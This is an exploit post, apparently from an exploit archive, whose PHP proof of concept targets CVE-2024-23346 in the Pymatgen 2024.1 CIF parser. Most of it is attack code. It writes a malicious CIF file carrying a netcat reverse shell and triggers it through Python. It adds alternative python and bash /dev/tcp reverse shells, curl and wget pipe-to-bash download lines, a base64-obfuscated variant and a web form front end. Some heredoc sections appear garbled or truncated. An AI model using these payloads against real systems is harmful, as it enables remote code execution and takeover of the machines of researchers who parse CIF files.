============================================================================================================================================= | # Title : Pymatgen 2024.1 CIF Parser Reverse Shell Exploit | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://pymatgen.org/ | ============================================================================================================================================= [+] Summary : Pymatgen version 2024.1 contains a critical remote code execution vulnerability in its Crystallographic Information File (CIF) parser that allows attackers to execute arbitrary Python code through specially crafted CIF files, leading to complete system compromise. The vulnerability exists in the CIF parser's handling of the _space_group_magn.transform_BNS_Pp_abc field, which improperly evaluates Python code embedded in CIF files without proper sanitization, allowing arbitrary code execution during file parsing. [+] POC : php poc.php ip = $ip; $this->port = $port; } public function create_malicious_cif() { $malicious_cif = <<ip} {$this->port} -e /bin/bash");0,0,0' _space_group_magn.number_BNS 62.448 _space_group_magn.name_BNS "P n' m a' " CIF; if (file_put_contents($this->malicious_file, $malicious_cif)) { echo "[+] Malicious CIF file created: {$this->malicious_file}\n"; return true; } else { echo "[-] Failed to create malicious CIF file\n"; return false; } } public function exploit() { echo "[*] Starting Pymatgen RCE Exploit (CVE-2024-23346)\n"; echo "[*] Target: Pymatgen 2024.1\n"; echo "[*] Reverse Shell: {$this->ip}:{$this->port}\n"; if (!$this->create_malicious_cif()) { return false; } if (!$this->check_dependencies()) { return false; } echo "[*] Triggering the exploit by parsing malicious CIF file...\n"; $python_script = $this->generate_python_trigger(); $temp_python_file = 'trigger_exploit_' . bin2hex(random_bytes(4)) . '.py'; file_put_contents($temp_python_file, $python_script); $output = shell_exec("python3 " . escapeshellarg($temp_python_file) . " 2>&1"); unlink($temp_python_file); if (file_exists($this->malicious_file)) { unlink($this->malicious_file); } echo "[*] Exploit triggered\n"; echo "[*] Check your listener for reverse shell connection\n"; if (!empty($output)) { echo "[*] Python output: " . trim($output) . "\n"; } return true; } private function check_dependencies() { echo "[*] Checking dependencies...\n"; $python_check = shell_exec("which python3 2>/dev/null"); if (empty($python_check)) { echo "[-] Python3 is not installed or not in PATH\n"; return false; } echo "[+] Python3 found: " . trim($python_check) . "\n"; $pymatgen_check = shell_exec("python3 -c 'import pymatgen; print(pymatgen.__version__)' 2>/dev/null"); if (empty($pymatgen_check)) { echo "[-] Pymatgen is not installed\n"; echo "[*] Attempting to install pymatgen...\n"; $install_output = shell_exec("pip3 install pymatgen==2024.1 2>&1"); if (strpos($install_output, 'Successfully installed') === false) { echo "[-] Failed to install pymatgen\n"; return false; } echo "[+] Pymatgen installed successfully\n"; } else { echo "[+] Pymatgen found: version " . trim($pymatgen_check) . "\n"; if (version_compare(trim($pymatgen_check), '2024.1', '==')) { echo "[+] Vulnerable version detected\n"; } else { echo "[!] Different version detected: " . trim($pymatgen_check) . " - exploit may still work\n"; } } return true; } private function generate_python_trigger() { return <<malicious_file}") structure = parser.parse_structures() print("[+] CIF file parsed successfully") except Exception as e: print(f"[-] Error during parsing: {{e}}") sys.exit(1) PYTHON; } public function generate_listener_commands() { echo "\n[*] Setup listener using one of these commands:\n"; echo " nc -lvnp {$this->port}\n"; echo " ncat -lvnp {$this->port}\n"; echo " socat TCP-LISTEN:{$this->port},reuseaddr,fork EXEC:/bin/bash\n"; } } class PymatgenAlternativeExploits { public static function generate_different_payload($ip, $port, $payload_type = 'reverse_shell') { $payloads = [ 'reverse_shell' => "nc {$ip} {$port} -e /bin/bash", 'python_reverse' => "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{$ip}\",{$port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'", 'bash_reverse' => "bash -i >& /dev/tcp/{$ip}/{$port} 0>&1", 'curl_download' => "curl http://{$ip}:8000/shell.sh | bash", 'wget_download' => "wget -q -O - http://{$ip}:8000/shell.sh | bash" ]; return $payloads[$payload_type] ?? $payloads['reverse_shell']; } public static function create_advanced_malicious_cif($ip, $port, $payload_type = 'reverse_shell') { $payload = self::generate_different_payload($ip, $port, $payload_type); $encoded_payload = base64_encode($payload); $advanced_payload = "echo '{$encoded_payload}' | base64 -d | bash"; $malicious_cif = << \n"; echo "Example: php " . $argv[0] . " 192.168.1.100 4444\n"; echo "\nAdditional options (environment variables):\n"; echo "PAYLOAD_TYPE=reverse_shell|python_reverse|bash_reverse\n"; echo "QUICK_MODE=true\n"; exit(1); } $lhost = $argv[1]; $lport = $argv[2]; $payload_type = getenv('PAYLOAD_TYPE') ?: 'reverse_shell'; $quick_mode = getenv('QUICK_MODE') === 'true'; try { if ($quick_mode) { echo "[*] Running in quick mode...\n"; SimplePymatgenExploit::quick_exploit($lhost, $lport); } else { $exploit = new PymatgenRCEExploit($lhost, $lport); if ($exploit->exploit()) { $exploit->generate_listener_commands(); } } echo "\n[*] Note: This exploit targets CVE-2024-23346 in Pymatgen 2024.1\n"; echo "[*] The vulnerability is in the CIF parser's handling of malicious input\n"; } catch (Exception $e) { echo "[-] Exploit failed: " . $e->getMessage() . "\n"; exit(1); } } if (isset($_GET['web']) && $_GET['web'] === 'true') { header('Content-Type: text/html; charset=utf-8'); ?> Pymatgen RCE Exploit (CVE-2024-23346)

Pymatgen RCE Exploit (CVE-2024-23346)

"; try { $exploit = new PymatgenRCEExploit($ip, $port); $exploit->exploit(); $exploit->generate_listener_commands(); } catch (Exception $e) { echo "Error: " . $e->getMessage(); } echo "
"; } } ?>
Note: This exploit requires pymatgen 2024.1 to be installed on the target system. The vulnerability allows remote code execution through malicious CIF file parsing.
Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================